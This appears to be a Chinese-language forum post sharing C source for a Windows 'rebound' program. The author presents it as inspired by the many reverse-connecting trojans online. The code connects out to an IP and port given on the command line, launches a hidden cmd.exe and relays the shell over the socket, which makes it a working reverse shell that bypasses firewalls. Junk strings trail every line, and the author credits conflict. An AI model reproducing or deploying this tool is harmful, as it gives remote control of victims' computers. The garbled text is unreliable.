这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;gr9/Vl
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/* ============================== |$_sX9\`?|
Rebound port in Windows NT H}
g{Cr"Ex
By wind,2006/7 |LKXOU
c
===============================*/ DM>eVS3}
#include VVOd]2{
#include 3sZ\0P}
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#pragma comment(lib,"wsock32.lib") .#pU=v#/[
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void OutputShell(); }JAG7L&{
SOCKET sClient; *-p}z@8
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Mf``_=K
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void main(int argc,char **argv) H$4:lH&(
{ h 9W^[6
WSADATA stWsaData; [!OxZ!
int nRet; |ZBI *
SOCKADDR_IN stSaiClient,stSaiServer; #Mw8^FST
#>+ HlT
if(argc != 3) @F*%9LPv
{ AYx{U?0p
printf("Useage:\n\rRebound DestIP DestPort\n"); )K
return; pyvSwD5t
} %84rL?S
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WSAStartup(MAKEWORD(2,2),&stWsaData); u;c?d!E
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {/:x5l8
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stSaiClient.sin_family = AF_INET; +K4}Dmg
stSaiClient.sin_port = htons(0); }vM("v|M
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); R~$qo)v
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) aw42oLk
{ }`~+]9<
printf("Bind Socket Failed!\n"); ^J;bso`
return; }pu27F)&
} LFtt gY
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stSaiServer.sin_family = AF_INET; <UQbt N-B\
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); C~iL3Cb
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3$9W%3
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) n7-6-
#
{ <e</m)j
printf("Connect Error!"); y
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return; 9qG6Pb
} BF{Y"8u$
OutputShell(); b1?'gn~
} S|`o]?nc>
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void OutputShell() ) hfpwdQ
{ oM`0y@QCf
char szBuff[1024]; <W $mj04@
SECURITY_ATTRIBUTES stSecurityAttributes; ~IN>3\j
OSVERSIONINFO stOsversionInfo; c\ l kD-\
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @J`"[%U
STARTUPINFO stStartupInfo; Q$@I"V&G.
char *szShell; 9zy!Fq
PROCESS_INFORMATION stProcessInformation; ZExlGC
unsigned long lBytesRead; TbW38\>.R
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); NHZz _a=
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7O-x<P;
stSecurityAttributes.lpSecurityDescriptor = 0; _zi|
stSecurityAttributes.bInheritHandle = TRUE; w&T9;_/
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nc|p )
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5"O.,H}
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kL"2=7m;
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '$%l7
stStartupInfo.wShowWindow = SW_HIDE; 4@#
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stStartupInfo.hStdInput = hReadPipe; ._{H~R|
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %Y*Ndt 4
wcY?rE9
GetVersionEx(&stOsversionInfo); #'9HU2
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switch(stOsversionInfo.dwPlatformId) Dwfu.ZJa
{ ( 0_2sfS
case 1: YglmX"fLf
szShell = "command.com"; <B6H. P =
break; J{fH['tzO
default: RdRp.pb8
szShell = "cmd.exe"; l]l'4@1
break; YGCL2Y
} GDiBl* D
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); n]o<S+z
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send(sClient,szMsg,77,0); q6V>zi
while(1) QX'qyojxN
{ n[Y~]
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); IKilr'
if(lBytesRead) ^yN&ZI3P&
{ ={@6{-tl
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <1${1A <Wa
send(sClient,szBuff,lBytesRead,0); ]K,Tnyp
} KF!Yf\
else Od,qbU4O
{ fSvM(3Y<Qh
lBytesRead=recv(sClient,szBuff,1024,0); _5Ct]vy
if(lBytesRead<=0) break; >V8-i`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )cMh0SGcM1
} jLHkOk5{:
} S k\K4
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return; 68C%B9.b'
}